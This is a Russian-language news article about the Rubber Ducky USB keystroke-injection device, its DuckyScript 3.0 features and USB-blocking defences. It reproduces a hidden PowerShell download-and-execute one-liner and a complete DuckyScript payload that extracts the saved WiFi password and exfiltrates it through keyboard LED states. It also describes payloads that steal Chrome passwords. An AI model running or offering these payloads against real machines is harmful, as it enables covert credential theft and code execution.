Rubber Ducky — известное хакерское устройство, давно знакомое специалистам по информационной безопасности (и любителям сериала Mr. Robot). Первая версия вышла более десяти лет назад. С виду обычная флешка при подключении выдаёт себя за USB-клавиатуру и запускает произвольный скрипт. Это позволяет проводить необычные атаки, которые сложно обнаружить с помощью антивируса.
Атака Rubber Ducky — просто последовательность нажатий клавиш (чтобы открыть консоль и ввести в ней некоторые команды).
Например, можно вывести на экран всплывающее окно авторизации Windows.
На самом деле это последовательность клавиш, которые «набраны» на фейковой клавиатуре:
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
Никаких вредоносных файлов на флешке нет. Это просто «клавиатура», на которой просто «нажимаются» определённые кнопки.
Вот другой скрипт, который открывает PowerShell и собирает сохранённые пароли из браузера Chrome. Можно сохранить их на флешке или отправить на сервер под видом GET-запросов headless-браузера Chrome, чтобы не вызвать подозрения со стороны антивируса. Так это выглядит на компьютере жертвы:
То есть схема атаки понятна:
- Флешка вставляется в компьютер
- В системе регистрируется новая USB-клавиатура
- На исполнение автоматически запускается скрипт, который представляет собой одну конкретную последовательность нажатий клавиш.
Из-за такой ограниченной функциональности раньше каждую атаку приходилось тщательно готовить. Нужно было собрать информацию о конкретном компьютере, в который будет вставлена флешка: какая там операционная система и программное окружение. Потому что на флешку записывается только один конкретный скрипт на исполнение, а в нём — жёстко прописанная последовательность символов, которые вводятся в консоль.
Но сейчас разработчик Даррен Китхен значительно расширил функциональность устройства, так что оно стало гораздо опаснее. Самое главное, флешка теперь поддерживает скриптовый язык DuckyScript 3.0.
DuckyScript 3.0 — полноценный язык программирования, позволяющий писать нормальные функции, хранить переменные и использовать условные переходы.
Например, новая Ducky может определить версию операционной системы (Windows или Mac), выполнить соответствующий код для каждой системы или отключиться, если цель не соответствует условиям.
Скрипты теперь могут генерировать псевдослучайные числа и использовать их для добавления переменной задержки между нажатиями клавиш. Это создаёт «человеческий эффект» при вводе команд в консоли. Устройство самостоятельно выполняет брутфорс паролей и декодирует хеши.
Ещё одна удобная инновация — флешка теперь умеет кодировать пароли в двоичный формат и передавать их по трёхбитному каналу морганием светодиодов CapsLock, NumLock и ScrollLock на клавиатуре.
Функция Keystroke Reflection реализована на основе научной работы 2019 года (Мордехай Гурий, Дима Быховский и др.).
Демонстрация Keystroke Reflection и пример кода
REM Example Simple Keystroke Reflection Attack for Windows
REM Saves currently connected wireless LAN profile to DUCKY
ATTACKMODE HID
LED_OFF
DELAY 2000
SAVE_HOST_KEYBOARD_LOCK_STATE
$_EXFIL_MODE_ENABLED = TRUE
$_EXFIL_LEDS_ENABLED = TRUE
REM Store the currently connected WiFi SSID & Key to %tmp%\z
GUI r
DELAY 100
STRINGLN powershell "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\z"
DELAY 100
REM Convert the stored creds into CAPSLOCK and NUMLOCK values.
GUI r
DELAY 100
STRINGLN powershell "foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"
DELAY 100
REM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.
GUI r
DELAY 100
STRINGLN powershell "$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"
DELAY 100
REM The final SCROLLLOCK keystroke indicates EXFIL is complete.
WAIT_FOR_SCROLL_CHANGE
LED_G
$_EXFIL_MODE_ENABLED = FALSE
RESTORE_HOST_KEYBOARD_LOCK_STATE
Для подготовки вредоносных нагрузок разработана онлайновая Web-IDE, в которой можно протестировать скрипты, скомпилировать и подготовить для записи на флешку. В специализированном канале Hak5 Discord начинающие хакеры делятся советами и опытом. Набираются классы для онлайн-курсов. На официальном сайте есть также каталог скриптов на любые случаи. Например, этот скрипт запускает скрытую консоль, заходит в сетевые свойства Windows (
control.exe /name Microsoft.NetworkAndSharingCenter
), делает скриншот пароля WiFi (кнопка PrnScr) и отправляет его в Dropbox.Вообще, за последние десять лет выпущено несколько модификаций Rubber Ducky, но последние обновления кардинально расширяют его возможности, так что специалистам по информационной безопасности следует учитывать этот вектор атаки.
«Забытые» флешки
То есть нужно понимать, что обычная с виду «забытая» флешка может выдать себя за USB-клавиатуру и выполнить в системе произвольные команды от лица залогиненного пользователя. Это фундаментальная уязвимость (фича), которой подвержены все операционные системы, включая Windows, macOS и Linux. Для защиты можно аппаратно или программно блокировать подключение новых устройств по USB. Например, такая функция поддерживается в Qubes OS.